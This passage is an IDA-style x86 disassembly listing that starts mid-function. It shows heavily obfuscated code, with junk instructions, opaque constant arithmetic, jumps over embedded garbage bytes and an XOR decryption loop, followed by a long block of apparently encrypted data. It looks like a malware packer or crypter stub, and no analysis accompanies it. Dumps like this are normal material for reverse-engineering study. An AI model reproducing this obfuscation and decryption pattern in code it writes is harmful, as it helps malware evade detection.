esp, 4 xchg ecx, [esp+10h+var_10] pop ecx sub esp, 4 push 0C191BBFBh pop ecx add esi, ecx pop ecx ror ax, 5Ah add esp, 0FFFFFFFCh mov [esp+10h+var_10], ecx push 0FC7540ADh pop ecx sub edi, ecx pop ecx add edi, 0FC7540ADh jmp sub_40809C ; END OF FUNCTION CHUNK FOR sub_407E62 ; --------------------------------------------------------------------------- db 0A9h, 2Eh, 0CFh ; =============== S U B R O U T I N E ======================================= sub_40809C proc near ; CODE XREF: sub_407E62+232j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 4 mov [esp+4+var_4], esi push 0AC0B193Ah pop esi sub eax, esi pop esi add esp, 0FFFFFFFCh mov [esp+4+var_4], edx push 0 xor [esp+8+var_8], edx pop [esp+8+var_8] push 0AC0B193Ah pop edx add eax, edx pop edx push 0 or [esp+4+var_4], edi mov edi, 46E1E9C7h sub eax, edi pop edi add eax, 46E1E9C7h ror al, 64h lea ecx, [ecx] sub eax, 0B2E92707h xchg dx, dx push ebx mov ebx, eax mov ebx, ebp mov ebx, eax pop ebx ror eax, 0F4h jmp loc_408107 ; --------------------------------------------------------------------------- dd 5178DBEAh, 8D24B7B6h, 89905342h db 8Eh, 0AFh, 0BCh ; --------------------------------------------------------------------------- loc_408107: ; CODE XREF: sub_40809C+57j xor ax, 8238h xor ebx, 0 ror ax, 0C2h sub ebx, 9635E454h push 0 add [esp+4+var_4], eax push 9635E454h pop eax add ebx, eax pop eax xor al, 1Fh sub eax, 1 inc eax push ebx jmp loc_40813B ; --------------------------------------------------------------------------- db 4Ah, 0BBh, 0D8h ; --------------------------------------------------------------------------- loc_40813B: ; CODE XREF: sub_40809C+97j jmp short loc_408152 ; --------------------------------------------------------------------------- db 31h, 16h, 97h dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h db 0B4h, 0DDh ; --------------------------------------------------------------------------- loc_408152: ; CODE XREF: sub_40809C:loc_40813Bj pop ebx xor ax, 0BB1h jmp loc_408161 ; --------------------------------------------------------------------------- dd 0D9202352h db 9Eh ; --------------------------------------------------------------------------- loc_408161: ; CODE XREF: sub_40809C+BBj push 0FFFFFFFFh and [esp+4+var_4], edx push 3C2CAE95h pop edx add ecx, edx pop edx sub ecx, 3C2CAE95h jmp loc_408186 ; --------------------------------------------------------------------------- db 38h, 11h, 76h dd 24DE477h db 13h, 50h ; --------------------------------------------------------------------------- loc_408186: ; CODE XREF: sub_40809C+DCj xor al, 12h xchg ebx, ebx jmp short loc_408195 ; --------------------------------------------------------------------------- dd 81688B5Ah, 0BD146726h db 0B2h ; --------------------------------------------------------------------------- loc_408195: ; CODE XREF: sub_40809C+EEj xchg edx, edx inc edx dec edx ror eax, 7Fh push 0 xor [esp+4+var_4], eax sub esp, 4 xchg ebx, [esp+8+var_8] pop ebx sub esp, 4 mov eax, 0C0CDEEh mov eax, esi cld pop ebx pop eax ror al, 75h add ecx, 1 sub ecx, 1 xchg bx, bx sub eax, 0FFFFFFFFh sub eax, 1 push ecx mov ecx, edi mov ecx, eax pop ecx xchg bp, bp lea ecx, [ecx] xor al, 0A2h xchg edx, [esp+var_4] jmp short loc_4081F1 ; --------------------------------------------------------------------------- dd 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh db 37h ; --------------------------------------------------------------------------- loc_4081F1: ; CODE XREF: sub_40809C+142j mov edx, [esp+var_4] jmp short loc_4081FB ; --------------------------------------------------------------------------- db 0A4h ; --------------------------------------------------------------------------- loc_4081FB: ; CODE XREF: sub_40809C+15Cj sub esp, 4 push 0 or [esp+8+var_8], edi btr edi, edi test al, bh xor edi, ebx lea edx, ds:8092D0h sub edx, 80E160h xchg edx, edi xor edi, ebx neg edi xchg edi, edx mov dx, 49A9h cld pop edi pop edx sub eax, 48B0500h lea esp, [esp] add eax, 809D94F2h add eax, 7F626B0Eh ror al, 0Ch jmp short loc_408253 ; --------------------------------------------------------------------------- dw 3C2Fh dd 284B1AC5h, 0D427E641h, 40C3727Dh db 79h, 0BEh, 1Fh ; --------------------------------------------------------------------------- loc_408253: ; CODE XREF: sub_40809C+1A4j sub eax, 47486760h sub edx, 0CAD1DB3Bh add edx, 0CAD1DB3Bh sub ecx, 0 ror eax, 29h xchg edx, [esp+var_4] jmp loc_408280 ; --------------------------------------------------------------------------- db 0EDh, 22h, 0B3h dd 0F6EE970h ; --------------------------------------------------------------------------- loc_408280: ; CODE XREF: sub_40809C+1D8j mov edx, [esp+var_4] jmp short loc_40829E ; --------------------------------------------------------------------------- db 9Ch, 0A5h, 7Ah dd 4621882Bh, 0D25D3407h, 1E59A0A3h, 2A15CCFFh db 1Bh, 0B8h ; --------------------------------------------------------------------------- loc_40829E: ; CODE XREF: sub_40809C+1EBj sub esp, 4 push 0 add [esp+8+var_8], edi mov dx, 49D1h xchg edi, edi arpl di, dx imul edi, edx not edi xchg edx, edx imul edi, edi mov edi, 811020h test eax, ebx and edx, 80B7E0h neg edx cmp al, ch cld pop edi pop edx ror eax, 0Ah sub esp, 4 xchg edx, [esp+4+var_4] mov edx, [esp+4+var_4] push edx pop [esp+8+var_8] push eax xor eax, eax xor edx, ebx mov ax, 494Bh push ecx pop edx verw ax cmp dl, cl xchg eax, eax arpl dx, dx movsx eax, dl shrd edx, edx, cl mov eax, 80D9A0h xor edx, ecx cmp edx, 809CA0h mov eax, 808E60h cld pop eax pop edx ror eax, 0B2h add ecx, 6E5D5ECDh sub ecx, 6E5D5ECDh jmp short loc_408327 ; --------------------------------------------------------------------------- dw 0EFCEh db 0FCh, 85h, 0DAh ; --------------------------------------------------------------------------- loc_408327: ; CODE XREF: sub_40809C+284j mov [esp+var_4], edx jmp short loc_408339 ; --------------------------------------------------------------------------- aJcf2g db '¦ç”=2ƒ',0 db 39h db 7Eh ; --------------------------------------------------------------------------- loc_408339: ; CODE XREF: sub_40809C+292j sub esp, 4 mov edx, 16295A01h sub ebx, edx pop edx add ebx, 16295A01h ror ax, 1 push 0 add [esp+4+var_4], eax push 0 xor [esp+8+var_8], ecx not ecx jmp loc_40836F ; --------------------------------------------------------------------------- aAa db '¹` €',0 dw 0C987h db 8Bh, 0C0h, 40h ; --------------------------------------------------------------------------- loc_40836F: ; CODE XREF: sub_40809C+2C4j sub eax, 810F20h cmp ah, ah jmp loc_40838D ; --------------------------------------------------------------------------- a3Ra db '3ƹ €',0 db 84h dd 0FC163C3h, 0CC8BE800h db 41h ; --------------------------------------------------------------------------- loc_40838D: ; CODE XREF: sub_40809C+2DBj xchg ecx, eax push ebx pop ecx test ecx, ecx js short loc_408399 test cl, ch test al, cl loc_408399: ; CODE XREF: sub_40809C+2F7j cld pop ecx pop eax sub eax, 0AA6CA387h push edi push 0 or [esp+8+var_8], ecx cmp edx, edi lea edi, ds:80A360h arpl di, di rep cld pop ecx pop edi ror al, 24h push 0 add [esp+4+var_4], ecx sub esp, 4 xchg edx, [esp+8+var_8] mov edx, [esp+8+var_8] neg edx rol ecx, 93h and ecx, 80A520h mov ecx, ebp movzx ecx, cx shr ecx, 58h verw cx lea ecx, ds:809EE0h cmp al, 0FCh cmovo ecx, esp test al, ch cld pop edx pop ecx ror al, 0DCh add eax, 1 dec eax xor al, 0ACh jmp loc_40840B ; --------------------------------------------------------------------------- dd 0EB3A655Ch, 0C706E148h db 0F4h, 1Dh, 92h ; --------------------------------------------------------------------------- loc_40840B: ; CODE XREF: sub_40809C+35Fj sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 8CCE3DEh sub ecx, ebx pop ebx add ecx, 8CCE3DEh jmp short loc_408422 ; --------------------------------------------------------------------------- db 0D5h ; --------------------------------------------------------------------------- loc_408422: ; CODE XREF: sub_40809C+383j add eax, 0D47FFDE0h add ebx, 0BFA13178h sub ebx, 0BFA13178h push 0FFFFFFFFh and [esp+4+var_4], edx push 5175208Dh pop edx add ebx, edx pop edx sub ebx, 5175208Dh sub esp, 4 mov [esp+4+var_4], edi push 714AD445h pop edi sub eax, edi pop edi sub esp, 4 xchg ecx, [esp+4+var_4] pop ecx sub esp, 4 push 714AD445h pop ecx add eax, ecx pop ecx xor [ecx+edi], eax jmp loc_40847F ; --------------------------------------------------------------------------- dw 0C1A8h db 66h, 0A7h, 54h ; --------------------------------------------------------------------------- loc_40847F: ; CODE XREF: sub_40809C+3D9j sub ecx, 0DE636643h sub esp, 4 mov [esp+4+var_4], ebx push 0DE636643h pop ebx add ecx, ebx pop ebx push edx push 96A1A216h pop edx add eax, edx pop edx push edx mov edx, 96A1A216h sub eax, edx pop edx dec ecx jnz loc_407FA2 lea edx, [edx] add eax, 44DD2212h add eax, 0BB22DDEEh push ecx jmp short loc_4084C3 ; --------------------------------------------------------------------------- db 25h, 0FAh, 0ABh ; --------------------------------------------------------------------------- loc_4084C3: ; CODE XREF: sub_40809C+422j jmp loc_4084D1 ; --------------------------------------------------------------------------- dd 87C6A108h, 2352DDB4h db 20h ; --------------------------------------------------------------------------- loc_4084D1: ; CODE XREF: sub_40809C:loc_4084C3j jmp short loc_4084DA ; --------------------------------------------------------------------------- db 0D9h dd 954C7F9Eh db 0AAh, 9Bh ; --------------------------------------------------------------------------- loc_4084DA: ; CODE XREF: sub_40809C:loc_4084D1j pop ecx add ecx, 1C41C8Ah add ecx, 0FE3BE376h sub edx, 0FFFFFFFFh sub edx, 1 add eax, 0 sub ecx, 0 push edx jmp short loc_408500 ; --------------------------------------------------------------------------- db 8Bh dd 67268168h ; --------------------------------------------------------------------------- loc_408500: ; CODE XREF: sub_40809C+45Dj pop edx add eax, 1 add eax, 0FFFFFFFFh jmp loc_408517 ; --------------------------------------------------------------------------- dd 75AC5FFEh, 0F1987B0Ah db 0D6h, 57h, 44h ; --------------------------------------------------------------------------- loc_408517: ; CODE XREF: sub_40809C+46Bj push edx jmp short loc_40851D ; --------------------------------------------------------------------------- dw 0B0F3h db 29h ; --------------------------------------------------------------------------- loc_40851D: ; CODE XREF: sub_40809C+47Cj jmp loc_408529 ; --------------------------------------------------------------------------- dw 4FAEh dd 6BBAE5DCh db 0C8h ; --------------------------------------------------------------------------- loc_408529: ; CODE XREF: sub_40809C:loc_40851Dj jmp loc_40852F ; --------------------------------------------------------------------------- db 61h ; --------------------------------------------------------------------------- loc_40852F: ; CODE XREF: sub_40809C:loc_408529j pop edx add edx, 0D940DF8Ch add edx, 26BF2074h xchg edx, edx add eax, 0FFFFFFFFh add eax, 1 pop ecx push eax push 573E1F55h pop eax add ecx, eax pop eax add esp, 0FFFFFFFCh mov [esp+0], esi push 573E1F55h pop esi sub ecx, esi pop esi pop edi push edx jmp loc_408568 ; --------------------------------------------------------------------------- db 0Dh, 0C2h, 0D3h ; --------------------------------------------------------------------------- loc_408568: ; CODE XREF: sub_40809C+4C4j jmp loc_408572 ; --------------------------------------------------------------------------- db 10h, 9, 0Eh db 2Fh, 3Ch ; --------------------------------------------------------------------------- loc_408572: ; CODE XREF: sub_40809C:loc_408568j pop edx xor edx, 0 pop esi xchg edi, [esp-0Ch+arg_4] jmp loc_408595 ; --------------------------------------------------------------------------- dw 27E6h dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch db 58h ; --------------------------------------------------------------------------- loc_408595: ; CODE XREF: sub_40809C+4E5j mov edi, [esp-0Ch+arg_4] jmp loc_4085B0 ; --------------------------------------------------------------------------- db 0B1h, 96h, 17h dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch ; --------------------------------------------------------------------------- loc_4085B0: ; CODE XREF: sub_40809C+500j sub esp, 4 xchg eax, [esp-8+arg_0] jmp loc_4085D3 ; --------------------------------------------------------------------------- dw 2188h dd 5D340746h, 59A0A3D2h, 15CCFF1Eh db 2Ah, 1Bh, 0B8h ; --------------------------------------------------------------------------- loc_4085D3: ; CODE XREF: sub_40809C+521j mov eax, [esp-8+arg_0] jmp short loc_4085E5 ; --------------------------------------------------------------------------- dd 64F7F691h, 0D09382CDh db 0C9h ; --------------------------------------------------------------------------- loc_4085E5: ; CODE XREF: sub_40809C+53Ej sub esp, 4 jbe short loc_4085ED push ecx pop edi stc loc_4085ED: ; CODE XREF: sub_40809C+54Cj cmp ecx, esp jbe loc_408600 verw di verw di neg edi rcl edi, 61h loc_408600: ; CODE XREF: sub_40809C+553j neg edi mov di, 4BCFh mov eax, ebp inc edi stc arpl ax, di test cl, cl nop cld pop eax pop edi retn sub_40809C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 37h dup(0) dd 83ADF1FEh, 0F4E22A0Ch, 1059D429h, 9F3ADE6Fh, 0A494537Ah dd 54507568h, 6ADA4E19h, 7E32A765h, 9452B9E2h, 205E4ACFh dd 538D3CD1h, 15DC0C8Ah, 4D867177h, 824A00DAh, 43E9D859h dd 2DDEAAF6h, 85EBC6BAh, 1DA0E827h, 0C0DBC216h, 4DD7F4A9h dd 29403044h, 81FF7261h, 26F33Fh, 58A02F7Eh, 1E7CB8B1h dd 4C214679h, 0A7D9104Bh, 4CFB6EF8h, 0D4810B3Eh, 6CB873A1h dd 0A2145E2Bh, 0DB69ED91h, 2DB99A08h, 0B0D4D3FDh, 0FF53568Ch dd 0E34192DDh, 0CE006FCFh, 490C505Eh, 87F07D80h, 0EF79B922h dd 0F01FD67Ah, 0DA105C87h, 83C22A2Ch, 0E23BC4A6h, 0F4A0E108h dd 546ED055h, 0C05D05D8h, 9552A9E6h, 3FBCB467h, 3CD0670h dd 0AF5DDCE6h, 82FCF78h, 45C1F709h, 1E4A634Bh, 0CA4C26DBh dd 9A5C7196h, 0ECD85BCh, 13F9E124h, 0F1729053h, 2850BB8h dd 0FB4870F3h, 1B1EADDAh, 0A3295FEAh, 97F1021Fh, 52AA3B48h dd 904D588Ch, 718E4Dh, 0C5371EA4h, 120F1430h, 0DB0DC65Eh dd 970B70A2h, 0B2BD397h, 3900D24Bh, 41CEA23Ch, 75E87D30h dd 1BDE310Bh, 17A58EEh, 0E6E539C4h, 0CAC3CDCCh, 4202E253h dd 5305AC01h, 0C1DAD98Ah, 4A3F40F1h, 0A03B1BF3h, 0F1EBF00Bh dd 0F1B80114h, 5EA6AA57h, 0D2FD229h, 63EAEC5Fh, 42B12435h dd 4D827083h, 0F919D43Eh, 1159C87Ch, 175E85FDh, 9C308DDCh dd 51B28F2Dh, 54D14DAAh, 0DB9D3B35h, 2B9FA5ABh, 1CA3B405h dd 407CB351h, 0A7526461h, 0D65C5642h, 53E21C13h, 95422368h dd 0B75EFA0Ah, 0DC830D97h, 93A3A5D0h, 85E6C10Ah, 0E02E4D37h dd 0F2D7BFDBh, 0E4D0CD91h, 27ED3E2Dh, 1CECD33Ch, 8249C5B4h dd 0F59613h, 3EC39150h, 5C99DADCh, 0A1B86319h, 0DA3E2D05h dd 62745F45h, 0DEF45D19h, 0EF9785E5h, 6407295Ah, 3C98951Dh dd 0DEA4D508h, 677D8A55h, 246E553Ah, 5C82B1CEh, 760323A9h dd 42A53F2Dh, 1D883A08h, 6C3F433Ch, 0CD4E95B9h, 0B581788Fh dd 8883DD9Dh, 7A3409F1h, 0C32110BCh, 5F17599Ah, 0A2696DB7h dd 0E41C38D4h, 99D3C10Bh, 0A012057Dh, 757E88A2h, 7B9D9D49h dd 0A421C316h, 7BE458F1h, 0D0455391h, 0BE37BE8Ah, 0FC3607B7h dd 0E7CC633h, 7A63C7C1h, 2FA12702h, 415E1CBFh, 0D36DBC5h dd 0DC90E911h, 0CF166993h, 6EEC88BCh, 2CB074EFh, 6F04E4FFh dd 0D2DB3F21h, 1EBC29C1h, 16D810C0h, 58A36DDCh, 1989C0Dh dd 0CADE8EFh, 0BEA0B9F7h, 86C983DFh, 162A383Fh, 71A6025Ch dd 5F57C469h, 1626D103h, 28A6792Ah, 52D23ACh, 3B852B50h dd 6FE934AEh, 426727ADh, 422E993Ch, 9464F5E4h, 0B22C28D7h dd 73825690h, 461ABD0Bh, 0A69D7D0Bh, 0A9E6722Eh, 116D6A36h dd 79AB44DEh, 0BB7AEC5Ah, 5338B8Dh, 5BC93EF7h, 0EC25FB74h dd 9DAE2833h, 0DEE0BCF7h, 0D52959B8h, 0D4659E68h, 0F385771Bh dd 0B24EEF93h, 56A8B326h, 833A35A0h, 64061580h, 0F51254B3h dd 3C30D732h, 30FB60D6h, 0E93903CBh, 0B9B55044h, 1CCED240h dd 35D04174h, 0E33050Ch, 0DEBBCED9h, 0AC613D3Fh, 0FB9FF5EFh dd 0C6D4AFFFh, 657BD07Fh, 0EAF85432h, 9423FD2Fh, 505E69C6h dd 2D480C08h, 0D51A4C99h, 25C2A6FDh, 0DA580B6Eh, 96249F91h dd 35E7283Dh, 0D518445Eh, 17DAE5DEh, 277E3C91h, 431C0683h dd 0EF525FC2h, 363E69A4h, 0F76AAC19h, 0DDA3E687h, 99EBAE30h dd 5521A8B4h, 86A3FE87h, 0B790295Bh, 0EE43ED4Dh, 0ED6099DAh dd 67065223h, 8822733Bh, 7AFEBA15h, 0F3F6257Fh, 0FAF05B88h dd 5329AA1Ch, 51D313BEh, 0C78F51EFh, 9808BFB3h, 5E83D116h dd 0CDBCB8EFh, 3D74E46Dh, 3981DE5h, 56EF9987h, 0F202794Dh dd 2BB784FBh, 8E59AF35h, 87CFC62h, 8587C402h, 924F31B1h dd 62D0E75Bh, 0AEAF950Bh, 8C9F8D7Dh, 71EA21F4h, 784CAC07h dd 0AD59BE85h, 0BAA53398h, 92CAC338h, 853E9D7Bh, 801F0826h dd 0C2BE5F53h, 0FD184D2Eh, 0CF1C9BDBh, 0F2CDC4EFh, 72381B90h dd 0F745CBC0h, 0AEA23140h, 0D1ACF3FBh, 0F1D25D35h, 0E7CC7F8Fh dd 29D5259Ch, 0C540C018h, 0AE702E69h, 0B9CBFBEAh, 73A92B5Ah dd 0C646D105h, 45DEA7A2h, 7B2BB299h, 0F8BC0442h, 16B91DD8h dd 9116BA00h, 17917316h, 0C63D996Fh, 0A89AAE50h, 183F633Bh dd 0DEF99A18h, 7A3A041Ah, 43D5CC8Eh, 0C71A2D9Ah, 180B5D84h dd 0A641F2EEh, 0B659A74Bh, 520F8987h, 0FA6011EEh, 0DA030B17h dd 0AAF139AEh, 75A21057h, 80CBDD2Eh, 3BC6EF92h, 284EFF2Eh dd 0A206EE5Fh, 9FB66187h, 0C36A55Fh, 7986B2BAh, 9DECB218h dd 0BCB92A58h, 20626F9h, 0D1D48DAh, 0A63276E8h, 0B2FB4F8Ch dd 9E3177F2h, 6B5F74A1h, 5E969E66h, 0CD92F30Ah, 0FBFEAA18h dd 0CCCECDE6h, 0D840D3C0h, 0BD9B56EAh, 657B3133h, 69E7AC4Eh dd 7D542EF6h, 7C62A303h, 663DA005h, 0A5DB0518h, 75BC47C0h dd 0F44D86F1h, 0A807F309h, 867A12FFh, 435FEC1Fh, 0BB938E2Bh dd 27778D1Fh, 56899BCDh, 81BD8511h, 0F09B8A8h, 767D3B75h dd 0AD0264BBh, 0EAEA6D72h, 70DB41DFh, 0AFB6DCF5h, 0B60EF39Eh dd 0A82B5708h, 0AF76EF94h, 39370230h, 14CB148Ah, 5BD23CF6h dd 0E30C3BA4h, 0D3661097h, 17F6FA20h, 92403FB1h, 6E2C0E53h dd 0F697685Ah, 934C0681h, 19CA1E04h, 729BE380h, 0E001891h dd 6248C23Fh, 97042A15h, 9FCA93F9h, 1C347567h, 0AE86A594h dd 5AB98663h, 32A93C13h, 4B999B29h, 0EE158B35h, 8BB180D2h dd 0E582C2B5h, 1BE9C187h, 43EF497Bh, 0EC3161DEh, 590AD381h dd 0D0DF7506h, 0BFE98543h, 0FCDCBC04h, 0DD1491C0h, 3F4DE200h dd 0CAAEA9Ch, 7C14B90h, 77E661A9h, 59AA562Eh, 8F0E312Eh dd 0BAA97D9Ah, 7ED419F0h, 84F591F7h, 2A183C37h, 3595FC43h dd 0FFF79E62h, 0ED680B12h, 19A7BCFEh, 0BC703D14h, 0D815532Bh dd 5DE58CDBh, 2D8A00A8h, 23153997h, 454284D4h, 0D1E5EA58h dd 24E32735h, 34AFE537h, 0EC214939h, 0D97703A9h, 820BB909h dd 3841BEB5h, 9ED9FD2Ah, 0D8525E42h, 3ED20FE8h, 37781CD1h dd 8B5F63CFh, 4451BB3h, 0D62331B5h, 0C688343Eh, 3066CA30h dd 5093464Dh, 8C7E24DAh, 0AFA15404h, 0AC19A671h, 32C25139h dd 0A7593191h, 0D695DEF7h, 0DB2A7449h, 857135Bh, 633CE338h dd 0A49CA736h, 0FF7FFABCh, 954096F8h, 1972CA4Eh, 35CD1963h dd 23A58992h, 84B538F7h, 0D80ACC48h, 5616BC40h, 0F9200020h dd 5CD34DBh, 6CC07499h, 48720016h, 0D703104Eh, 4795BD3Dh dd 8D64FE75h, 7B8BDF80h, 2A416188h, 8C8C221Ah, 3F772DE3h dd 3F50FC1Ch, 2521664Fh, 50DADA40h, 9B8AFE27h, 0BE458182h dd 0CFA566BFh, 76A9D0F9h, 40BBD1F5h, 0BC6B07F1h, 0E539A46Ah dd 728A62DDh, 0BA13475Ch, 0D010F4CAh, 0C2AC6589h, 9574A191h dd 0F34D0C27h, 0C3A7B5E2h, 2EB6785h, 0DAB18B68h, 0C7A51380h dd 0F2E111BFh, 8F05975Dh, 0EC8156D7h, 885B336Fh, 0FF41E511h dd 3CA554F1h, 5BCEF059h, 0DE822189h, 0D2AE509Ch, 97EFA235h dd 11535309h, 8074F7BCh, 9678D44Ch, 476AF9EBh, 3525CF1Dh dd 5530193Fh, 488AD1A2h, 0CEF48C78h, 0EA7C2995h, 0B7542856h dd 0F4790BF0h, 73C76037h, 8936FA92h, 37A082A5h, 68B8F134h dd 8D15D948h, 80A8C721h, 450750E1h, 0EDAF8E45h, 5C8DCC0Eh dd 0C812D145h, 9E78B57Ah, 0A34F27DFh, 0F6ED1AFh, 0E2505BF7h dd 95B57C07h, 0DD4A8442h, 0A183411Fh, 81B30817h, 0BD414CB0h dd 7E707593h, 0B06C89h, 0B7A4DAA5h, 0C9A8DB63h, 87E438FAh dd 0AFCE3E28h, 0B489B693h dd 963D7A7Fh, 8E6BCAA0h, 0D2437E95h, 0BE8FBBE6h, 71263F8Dh dd 0C919B6Eh, 77171E87h, 0DE8EC052h, 962BDAA6h, 3F16AB97h dd 65C5DE9Dh, 40D11733h, 71762175h, 6FDA132Bh, 132E6EC4h dd 0B47016BCh, 76B3BFAEh, 7D27A527h, 0E98471EEh, 0ABEFF9C7h dd 0D95C48FFh, 0B0453087h, 9E4E62BFh, 0D59EBB8Ah, 43F930E3h dd 0CEE57F91h, 0A9A9F58Dh, 0EA78B9A8h, 6964DA98h, 58F90026h dd 0C88463F2h, 6BEDC52h, 4722D931h, 0F599A945h, 9C490F7Ah dd 851CA008h, 457AE78Dh, 0C9295131h, 5E82BC4Ch, 27822449h dd 0AC376CD9h, 6C993807h, 0E441E175h, 9971337h, 6812ED17h dd 0F94BBD51h, 761FE30Ch, 6B690BA4h, 6D261ACBh, 42A9A4D9h dd 4F3F3A68h, 7036E176h, 768ACF1Bh, 0D83F0214h, 7034EEEBh dd 3921770Ch, 78490D6Bh, 24FAFD6Dh, 27C25A4Ch, 0F99CFBF9h dd 213E1964h, 0D0BA9BFAh, 5E40D444h, 0F4C7544Bh, 5917CB52h dd 15E6AF8Fh, 0FBC01426h, 788375Ah, 0BF5F926Ch, 0CDFC5A5Bh dd 613AD0CCh, 0EF46045Bh, 0EE2EB748h, 0A85ABBBBh, 1B5DA83Eh dd 96558804h, 11FB5F1Fh, 87E64B75h, 64BC9D5Dh, 77A0FBE3h dd 61DCE252h, 2D1E7D91h, 70DC62B1h, 2EDA6977h, 0C4AEDF32h dd 0F99A4D57h, 98A4D747h, 0B026DA15h, 0EF51821Dh, 0CC7A82FDh dd 0DCF7001Ah, 0D8AF4D9Fh, 0F40DBDCCh, 3D4350EAh, 4198AF3Fh dd 9418C6F1h, 0F790212Bh, 0E6D3165Ah, 3D9E9046h, 0A38D0F7Bh dd 0A27D405Fh, 978E9FD9h, 0E870DCFFh, 89DC0581h, 0C4742983h dd 0A7856473h, 8041FF6Ah, 0CC3CCB44h, 33DB781Bh, 19A495E4h dd 8381758Ah, 43E63C65h, 66B3E4A1h, 0CD5C5671h, 0EB4F6AC0h dd 0D2743B28h, 7C847478h, 82EE12DBh, 73173A77h, 0E0A7CF3Fh dd 9A1372Dh, 1243583Bh, 40D9C895h, 91A8E296h, 65DF215Fh dd 0BDB0A1AEh, 0AC0550C8h, 34A75C12h, 0C4294E5Eh, 0AE0CF40Eh dd 318DCDD7h, 4C19A364h, 47489C73h, 2EB96809h, 126A9CE6h dd 0A464B024h, 0B4188575h, 0F8B22793h, 0EF6EB398h, 2C8A8B98h dd 4250F040h, 83599490h, 89D9B85Eh, 0E3535F40h, 0ACCA7CADh dd 84E80ADBh, 0E22354ADh, 0B65B2B49h, 900117Fh, 30820DC4h dd 7C77D123h, 490F6A91h, 0DFA77432h, 11CEAE95h, 22CE4B28h dd 955355B8h, 0FEE92F01h, 96E70852h, 225EF44Eh, 0D7FB98EDh dd 658A9A8Eh, 0DB8F5A53h, 1363F4A0h, 5CD62A16h, 3E02A3E5h dd 0F785EE09h, 0A260EB1Eh, 7FB69648h, 41104BF3h, 0DCB58F73h dd 111DA019h, 629F575Fh, 5D3B5F81h, 48F02926h, 910874C6h dd 9224D890h, 23FC2BCAh, 89F859CEh, 0C81A33F6h, 984BCBFFh dd 26559851h, 0F452B51h, 5167858Fh, 0CFEC4176h, 49804B06h dd 0F697EC26h, 8217A838h, 4C1DC1C3h, 9FE0CA86h, 56970FE7h dd 390712D2h, 5F6A2421h, 45D7C79Ah, 0B14FD494h, 2D2EB165h dd 5E5A4FB0h, 0F2F3348Ah, 0FA4A0C3h, 863EF37Dh, 0A387F50Dh dd 0B93A9CCFh, 61247448h, 0D9B241C2h, 5DD94F2Ch, 7E821A81h dd 0BE384A20h, 0B371B9E0h, 8CCB8C51h, 0D0E561ACh, 9A75066Ah dd 37050172h, 8E8EF108h, 0F0DD8155h, 0C6FAF2D7h, 0BDFAAC90h dd 5CC4DCA9h, 0A219E33Eh, 3BF0174h, 0B92D4C86h, 383CF847h dd 8BC2A071h, 0C2AD13F9h, 523F9BCAh, 582E5A4Fh, 0CDE0004Ch dd 0D07CAC1Dh, 7F4647CDh, 0DF90F4Fh, 0CDB6813Fh, 91F4CD44h dd 53EEEC16h, 0F6C74147h, 3757CCF0h, 0F06DD8CDh, 0E7966567h dd 0BA9BA71Ch, 3FB4A6FEh, 4B9B7676h, 0BC6D77h, 0BC1F3149h dd 0AA5C4539h, 831F1D72h, 0FE78E4E7h, 2B12E20h, 98DF391h dd 0F1BCA8E9h, 0D08B58Dh, 0F55CDBACh, 67F56363h, 5F0301FBh dd 773F4981h, 0B24CBD70h, 0ACF99823h, 0A1C652B9h, 66B369F9h dd 4BE50BD6h, 0E6DB69Dh, 4F3F06A1h, 4FDD077Fh, 3D2AF829h dd 456AA651h, 0A0844664h, 35B13256h, 95A61DCh, 45C06A5h dd 2F4A11E5h, 0E50EBD45h, 0F2CEC872h, 0C3689269h, 30990AF4h dd 0DCD2168Ch, 94D84442h, 94B8CB27h, 21822D2Fh, 41C6872h dd 2FA4A970h, 321813C2h, 0FFFD7D9Ah, 2C781F46h, 0EFBA0445h dd 0E2FEF120h, 0A6629688h, 1B7D5A8Bh, 0C2947437h, 0D2F5EC07h dd 0B5C61657h, 0EA014ECBh, 0D2977B9Bh, 1128B1CFh, 5763EF50h dd 0D8368BF4h, 5A9D5948h, 7077F1BDh, 0BD0A599Bh, 0F46EC8B1h dd 7A82C47Eh, 0D0029BBAh, 5E3C299Dh, 0DB73BEA3h, 0DAE39838h dd 0F725D068h, 3B76D5ADh, 6BDFD8F9h, 0B9566342h, 0C33082ACh dd 55BF8EE6h, 50E89A33h, 0E66D0BDDh, 61AEDFD1h, 9D8FEFAFh dd 9B482BAEh, 4441E108h, 0D4B65537h, 9AE1CD4Eh, 9C9CD38Ah dd 0DB66092Ch, 14CB3F0Fh, 0C20DC98Fh, 7899BC10h, 0DA22C6C9h dd 0DEC03962h, 83596EEBh, 7A488974h, 85B36A74h, 5BB2D3C4h dd 6A2C35BFh, 0EFD38AF7h, 0CF96A30h, 1EAD2DDAh, 61F5F6ABh dd 7D0B27DBh, 11E4D4EDh, 0DEE9D7DAh, 0B49D3D00h, 834BEF17h dd 86E02B56h, 0A664DC04h, 7B241422h, 0BB2A4F33h, 81B3733Ch dd 46CA8E45h, 803AB6E0h, 748A065Dh, 8CFC5248h, 2C3941F6h dd 8B3D1979h, 927920B3h, 0ACFDDADh, 0A2D25633h, 4DCCBF87h dd 9F014BE4h, 683410B2h, 0AE70C720h, 3ADEB693h, 0CF4FCC77h dd 9F6A9BD1h, 5E9204B9h, 61E59B32h, 0E5DBA82Eh, 0E7ACACA4h dd 3FE055D3h, 2B93BFBAh, 0F8186207h, 0F3B57D3Eh, 1FC1536Bh dd 0B2528BF3h, 5315E816h, 741117D0h, 313C6EF0h, 0A32AC7F9h dd 85DA6E18h, 1367500Ch, 9E49A189h, 0E4840F54h, 0A7E4C06Bh dd 18EE165Dh, 0FBC868D5h, 1C136E2h, 64DA09FCh, 6A7E8758h dd 2D32E82Dh, 680C97B1h, 589CBB2h, 22169C32h, 5DAB3898h dd 0BE2A6E94h, 0AA71FA48h, 7E79BBE7h, 8CF2BCEFh, 3CBA4A7Dh dd 85F6C617h, 0A970AB38h, 1A8F3631h, 3DC8603h, 710EC043h dd 0C8F4FE2Ch, 0ABE225E2h, 0F21F4EE6h, 81AA321Fh, 0F02D2C2Bh dd 5B9A9F4Eh, 21FC8C3Bh, 0B4CBBFCCh, 0E5902359h, 679F9A5h dd 636FE8BCh, 0CD4E34ACh, 3D418D16h, 